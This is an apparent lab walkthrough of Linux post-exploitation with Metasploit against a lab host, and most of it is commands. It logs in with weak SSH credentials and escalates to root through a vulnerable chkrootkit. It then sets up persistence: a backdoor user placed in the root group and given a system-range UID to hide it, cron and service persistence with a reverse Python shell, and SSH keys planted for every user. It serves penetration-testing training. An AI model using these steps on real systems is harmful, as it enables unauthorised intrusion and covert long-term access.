Lab
SSH Login Credentials
| Username | Password |
|---|---|
| jackie | password |
Start PostgreSQL and msfconsole
service postgresql start && msfconsole
Create a Workspace
workspace -a linux_persistence
Set Global Variables
setg RHOSTS 192.11.86.3
setg RHOST 192.11.86.3
Scan with db_nmap
db_nmap -sC -sV 192.11.86.3
Log In over SSH
The ssh_login scanner opens a session when the credentials work.
use auxiliary/scanner/ssh/ssh_login
set USERNAME jackie
set PASSWORD password
exploit
Upgrade the Session to Meterpreter
sessions -u 1
Privilege Escalation via chkrootkit
The installed chkrootkit is a vulnerable version that runs a file from /tmp as root. Point the module at the binary, run it, then upgrade and interact with the new root session.
use exploit/unix/local/chkrootkit
set SESSION <ID>
set CHKROOTKIT /bin/chkrootkit
exploit
sessions -u 3
sessions 4
Establish Persistence
Once we have root, there are several ways to make sure we can get back in.
Create a Backdoor User
Add a user, give it a password, and put it in the root group:
useradd -m ftp -s /bin/bash
passwd ftp
usermod -aG root ftp # -aG appends the user to the root group
groups ftp
Then change its UID so it sits among the system accounts in /etc/passwd and blends in:
usermod -u 15 ftp
Cron Persistence
use exploit/linux/local/cron_persistence
set SESSION <ID>
set LPORT 1337
exploit
Service Persistence
Press TAB after set PAYLOAD to list every compatible payload.
use exploit/linux/local/service_persistence
set SESSION <ID>
set PAYLOAD cmd/unix/reverse_python
set LHOST eth1
set LPORT 13337
set TARGET <ID>
exploit
SSH Key
Leave USERNAME unset so a key is added for every user on the system.
use post/linux/manage/sshkey_persistence
set SESSION <ID>
set CREATESSHFOLDER true
exploit
The private key is saved as loot (see loot). Fix its permissions and log in with it:
chmod 600 id_rsa
ssh -i id_rsa root@<IP_HERE>